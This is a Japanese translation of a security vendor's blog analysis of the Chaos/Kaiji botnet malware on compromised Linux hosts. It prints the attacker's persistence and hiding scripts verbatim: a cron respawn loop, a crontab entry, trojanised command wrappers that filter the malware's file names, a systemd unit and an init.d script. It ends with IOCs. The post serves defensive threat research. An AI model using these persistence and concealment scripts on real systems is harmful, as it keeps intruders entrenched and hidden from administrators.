永続化と回避のテクニックを巧妙に進化させるカオスマルウェア

By 清水 孝郎 - MARCH 19, 2023

SHARE:

永続化と回避のテクニックを巧妙に進化させるカオスマルウェア

本文の内容は、2023年3月17に NICHOLAS LANG が投稿したブログ(https://sysdig.com/blog/chaos-malware-persistence-evasion-techniques)を元に日本語に翻訳・再構成した内容となっております。 Chaos(カオス)という名前は、ランサムウェア、リモートアクセス・トロイの木馬(RAT)、そして現在はDDoSマルウェアの亜種にも使用されています。カオスといえば?今回のケースでは、Sysdig脅威リサーチチームが、Kaijiボットネットマルウェアのカオス亜種を使用した攻撃をキャプチャーしました。2022年9月以降、このマルウェアに関する情報はほとんど報告されていませんが、これは残念ながらカオスなネーミングのせいなのか、単に比較的新しいからなのか。Kaijiマルウェアは2020年に中国起源となり、Golangで記述されています。同様に、カオスは、WindowsとLinuxの両方のオペレーティングシステム、および他の複数のハードウェアアーキテクチャーも対象として開発された中国のGolangマルウェアです。 カオスが興味深いのは、ターゲットに固執することに力を入れる一方で、Linuxマルウェアではあまり見られない防御回避テクニックを実行している点です。 カオスは、1月中旬に弊社のハニーポットで、このマルウェアが誤った設定のApache Tomcat環境を攻撃しているのを直接確認し、大きな話題となりました。2月末には、いくつかの進化を遂げながら、再びこのマルウェアを確認しました。このマルウェアの以前のバージョンは、一般に公開されているマルウェアリポジトリから入手し、LumenのBlack Lotus Labsが解析したものです。 このブログでは、キャプチャーした攻撃の分析を、永続化テクニックに重点を置いて行い、最後に侵害の指標(IOC)を共有します。

Kaijiマルウェア

行動属性に関しては、このカオスマルウェアはKaijiボットネットの進化版であり、以前に報告されたものと同じ機能を多く備えているという、これまでの報告と一致しています。要約すると、Kaijiは主にSSHブルートフォースによってIoTデバイスを攻撃するDDoSボットネットであり、そのためソース言語はGoで、PowerPCやSPARCなどの一般的なIoTアーキテクチャーに容易にクロスコンパイルできました。私たちがキャプチャーしたカオスの亜種は、以前に報告されたバージョンと同じDDoS機能をすべて示しており、カオスエミュレーターをビルドするのではなく、この機能をサポートするコードがこの新しいバージョンにまだ存在することを確認しました。

技術的な分析

カオスマルウェアは、設定ミスのあるApache Tomcat環境を悪用してインストールされた後、すべての永続化メカニズムをインストールするようにピボットしました。詳細は後述しますが、この攻撃の背後にある行為者は、自分たちの攻撃が再起動しても生き残ることを確実にしたかったのでしょう。 私たちは、ファジーハッシュ(似ているが同一ではないファイルの比較)を行うツールssdeepを使用して分析を開始しました。これにより、キャプチャーしたファイルを類似性に基づいてクラスタリングすることができました。スクリーンショットの呼び出しは、ssdeepに類似性によってファイルをグループ化し (-g)、ディレクトリ内のすべてのファイルをハッシュ化するよう指示しています (-d)。まず、すべて同じバイナリである10個のファイルが見つかりました。これらはマルウェア自体のコピーであることが判明しました。残りのファイルは、異なる永続化メカニズムを介してマルウェアを実行するために使用されるスクリプトでした。 Chaos Malware Quietly Evolves Persistence and Evasion Techniques

T1053.003 – スケジュールされたタスク/ジョブ: cron

まず、ファイルパス  /etc/id.services.conf に自分自身をコピーし、ファイル  /etc/32678を作成することで、永続性が実現されていることが確認できました。この動作は以前のレポートと変わっておらず、このため、カオスである可能性が高いことがわかりました。 /etc/32678 ファイルには、以下のシェルスクリプトが含まれています。
#!/bin/sh
while [ 1 ]; do
sleep 60
/etc/id.services.conf
Done
その後、 crontab にエントリを追加し、cronをバックグラウンドではなくフォアグラウンドで実行させるcron -fを実行することで、 /etc/32678 ファイルが実行されました。このスクリプトは、cronプログラムが実行され続けている間、マルウェアの実行を試みます。これはマルウェアの初期起動と考えることができます。このようなcronの実行は永続的ではないため、攻撃者は、再起動後やマルウェアが死滅した場合にマルウェアが復活するように、さまざまな追加手段を講じることにしています。

T1554:クライアントソフトウェアのバイナリを侵害する

カオスは、一般的なユーザーバイナリをトロイの木馬化することで、ユーザーと自動化スクリプトを永続化メカニズムとして利用しようとします。これらのバイナリが実行されると、カオスのメインペイロードが実行されます。元のプログラムは呼び出されないので、コマンドの期待される動作は発生しないことになります。この戦術には、ユーザーがシステム上で何が起こっているかを確認することを困難にするという副作用もあります。 置き換えられたファイルは次のとおりです:
/usr/bin/find
/usr/bin/dir
/usr/bin/ls
/usr/bin/ps
カオスマルウェアは、かなり珍しい方法でその存在を隠そうとしています。 gateway.sh スクリプト内のシェル関数を /etc/profile.d/に配置すると、ユーザーのシェルコマンドを実行し、マルウェアの存在を示すあらゆる兆候をフィルタリングすることができます。以下の例では、 find コマンドを置き換え、 sed を使用して自身のファイル名を取り除いています。
function find {
    proc_name=$(/usr/bin/find $@) # run the backdoored find with the original arguments specified by the user
    proc_name=$(echo "$proc_name" | sed -e '/32676/d')
    proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d')
    proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d')
    proc_name=$(echo "$proc_name" | sed -e '/System.mod/d')
    proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')
    proc_name=$(echo "$proc_name" | sed -e '/32676/d')
    . . . <other IoCs here>
    echo "$proc_name"
}

T1546.004 – イベントをトリガーとした実行: Unix シェル設定の変更

 /etc/profile/ 内のファイルは、bashシェルの起動時に環境変数を設定します。/etc/profile.d/ ディレクトリには、アプリケーション固有の起動ファイルを含む他のスクリプトが含まれており、これらもシェルの起動時に実行されます。これは、攻撃者が実行力を得るために独自のファイルを配置することができる一般的な場所です。今回のケースでは、ユーザーがシステムにログインした時など、シェルが起動した時に発生します。 攻撃者は、以下の内容を含む /etc/profile.d/bash_config.sh  ファイルを配置しました。
#!/bin/sh
/etc/profile.d/bash_config
これは、新しいbashシェルが生成されるたびに、指定されたマルウェアを呼び出します。これは、マルウェアのELFバージョンであり、別のスクリプトではないことに注意してください。

T1053.003 – スケジュールされたタスク/ジョブ: cron

Cronは、Windowsの世界ではスケジュールタスクに相当するシステムバイナリです。Cronを使用することで、攻撃者はマルウェアが一定の時間経過後に再起動されることを確認し、攻撃の持続性を高めることができます。 crontab ファイルは隠しファイル  .img  を呼び出します。これは、マルウェアの別のコピーである libdlrpcld.so  ファイルを呼び出すシェル スクリプトです。以下のcronエントリは、1分ごとに .img を実行します。
*/1 * * * * root /.img
 .img ファイルは、 libdlrpcld.so という名前のマルウェアのコピーを呼び出すシェルスクリプトで、次のようになります。
#!/bin/sh\n/usr/lib/libdlrpcld.so

T1543.002 – システムプロセスの作成または変更: systemd サービス

Systemdの主要コンポーネントは「システムおよびサービスマネージャ」であり、ユーザースペースのブートストラップとユーザープロセスの管理に使用されるinitシステムです。また、デバイス管理、ログイン管理、ネットワーク接続管理、イベントロギングなど、さまざまなデーモンやユーティリティの代替を提供します。今回のケースでは、攻撃者は、system initでマルウェア(ここでは System.img.configという名前)を実行するsystemdサービスを書きました。 ブート時にマルウェアを実行するsystemdサービスとして、攻撃者は /usr/lib/systemd/linux.service というファイルを作成しました。
$ cat linux.service
[Unit]
Description=linux
After=network.target
[Service]
Type=forking
ExecStart=/boot/System.img.config
ExecReload=/boot/System.img.config
ExecStop=/boot/System.img.config
[Install]
WantedBy=multi-user.target

T1037 – ブートまたはログオン初期化スクリプト

Unix ベースのコンピューター オペレーティング システムでは、init (初期化の略) は、オペレーティング システムの起動中に開始される最初のプロセスです。 init は、システムがシャットダウンされるまで実行し続けるデーモン プロセスです。 これは、他のすべてのプロセスの直接的または間接的な祖先であり、すべての孤立したプロセスを自動的に採用します。 init は、起動プロセス中にカーネルによって開始されます。 カーネルが起動できない場合、カーネル パニックが発生します。 通常、init には PID 1 が割り当てられます。 /etc/init.d/ ディレクトリに配置された init スクリプトにより、ユーザーは独自の起動スクリプトまたはプログラムを作成できます。 以下では、カオスの背後にいる脅威行為者が、initスクリプトを活用して、システムの起動時にマルウェア(ここでは System.img.configという名前)を確実に実行させる様子を見ることができます。彼らはinit.dとsystemdの両方を使用し、永続化を維持する可能性を高めています。おそらく、ターゲットがどのシステムを使用しているか事前に分からないためでしょう。使用したファイルは  /etc/init.d/linux_killです。起動時に、カオスマルウェアである /boot/System.img.config ファイルを実行します。
cat linux_kill
#!/bin/sh
### BEGIN INIT INFO
#chkconfig: 2345 10 90
#description:System.img.config
# Default-Start: 2 3 4 5
# Default-Stop:
### END INIT INFO
/boot/System.img.config
exit 0

バイナリー解析

今回の調査では、32678と32676と呼ぶ2つのバージョンのカオスマルウェアが確認されました。周囲のシェルスクリプトは異なっており、戦術の進化を感じさせますが、マルウェア自体は非常に類似したままであったようです。まず、ssdeepを使って比較してみましたが、以下の結果からもわかるように、両者は同じではありませんでした。
$ ssdeep ./files/System.mod ../chaos/files/System.img.config
ssdeep,1.1--blocksize:hash:hash,filename
24576:ae9ufJvk4gQjMNRfktnsIXvZFyD9i+MPCIxyuzNqssZXJjZbdYVVMtIwWz1v:WYMnwRO4ssPJd5Wz1,"/Users/nicholaslang/chaos_new/files/System.mod"
49152:E33d0lGt6UHcFL7Rn2o03wiEhiDmzzd/9sARlBs/00Cpfx9a9uNYp9hW16klbU6V:E33GlbU8FwmzzRDZ9mjqRV,"/Users/nicholaslang/chaos/files/System.img.config"
次に、各バイナリのエントロピー(ランダム性)を測定し、グラフにプロットしました。通常のx64コードは、暗号化された実行ファイルよりもランダム性が低くなります。実行ファイルを難読化するために、脅威者は、ハッシュが一致しなくなるようにバイナリを変更する様々な方法を採用することがよくあります。 カオスマルウェアの2つのバージョン(それぞれ32676と32678)は、ssdeepでファジーハッシュ化すると非常に異なっていますが、エントロピーグラフを見ると、非常に類似した(ほぼ同じ)バイナリレイアウトであることがわかります。このことから、脅威者は攻撃の合間にバイナリを難読化しようとしましたが、その方法はバイナリの構造を大きく変えることはありませんでした。また、その機能にも大きな変化はないものと思われます。この調査手法により、カオスのさらなる亜種を特定することが容易になります。

まとめ

カオスは、あまり頻繁にデプロイされていないか、以前のKaijiの親バージョンとして誤って分類されているため無視されているか、あるいは発見されていないかのいずれかです。いずれにせよ、かなり高性能なマルウェアと思われるものについて、これほどまでに情報が少ないことに驚かされました。このマルウェアの作者は、再起動後もマルウェアを持続させ、その存在を隠そうとすることに、他のマルウェアよりも力を入れています。 私たちの分析は、実際に使用されているマルウェアのコピーがいくつかあることを示しました。 また、マルウェアの実行には複数の永続化メカニズムがあり、攻撃者がコンテナを完全に処理できるわけではありません。 コンテナ化された環境で単純に再起動するだけでこのボットネットを取り除くことができますが、この感染を完全に取り除くには、最初のアクセスベクター(CVE の可能性が高い) にパッチを適用する必要があります。

IOCs

IP Addresses: 98.159.98[.]203 107.189.7[.]51
Filename MD5 Hash
Attack 1
linux_386 14be5f004bc5e7a33c3057df92ad9a16
bash_config 14be5f004bc5e7a33c3057df92ad9a16
find 14be5f004bc5e7a33c3057df92ad9a16
dir 14be5f004bc5e7a33c3057df92ad9a16
id.services.conf 14be5f004bc5e7a33c3057df92ad9a16
ls 14be5f004bc5e7a33c3057df92ad9a16
System.img.confg 14be5f004bc5e7a33c3057df92ad9a16
ps 14be5f004bc5e7a33c3057df92ad9a16
system-monitor 14be5f004bc5e7a33c3057df92ad9a16
libdlrpcld.so 14be5f004bc5e7a33c3057df92ad9a16
32678 768eaf287796da19e1cf5e0b2fb1b161
bash_config.sh cfb4e51061485fe91169381fbdc1538e
crontab 360878ce5edb3684950ebb0c138298f8
linux.service d80ccc7ced99538f22336f2ec0249087
linux_kill 3909975f7cc0d1121c1819b800069f31
.img d73d3376908ea075a939e3871ad0fabe
Attack 2
32676 47684525bfdf26f49fd1cf742b17c015
bash_cfg 0db80699dcdf8372e0f813eaea8b5782
bash_cfg.sh 3e32bcdce50da6c05127094b32e5401a
cron 0e0a4a7372459b9c2d8f45baa40a64b3
crontab a60806d9e03c42cd3bd740cbfb6d4375
dir 079b45463b8b7f66d9ec2c24b2853fbe
find b68ef002f84cc54dd472238ba7df80ab
gateway.sh b10f8b371ee7559987c4b29a4ac85e42
hashes.txt d12d6a5241cf180734dbe0b928c97798
hwclock.sh 40e4f04e723fb5bee6df2327ea35254d
libgdi.so.0.8.1 0db80699dcdf8372e0f813eaea8b5782
linux_386 0db80699dcdf8372e0f813eaea8b5782
ls 0db80699dcdf8372e0f813eaea8b5782
opt.services.cfg 0db80699dcdf8372e0f813eaea8b5782
procps bea2bdfd5f7688d4f6e313dc63ca499d
ps 0db80699dcdf8372e0f813eaea8b5782
quotaoff.service b02de6cd28cd922b18d9d93375a70d8b
system-mark 0db80699dcdf8372e0f813eaea8b5782
System.mod 0db80699dcdf8372e0f813eaea8b5782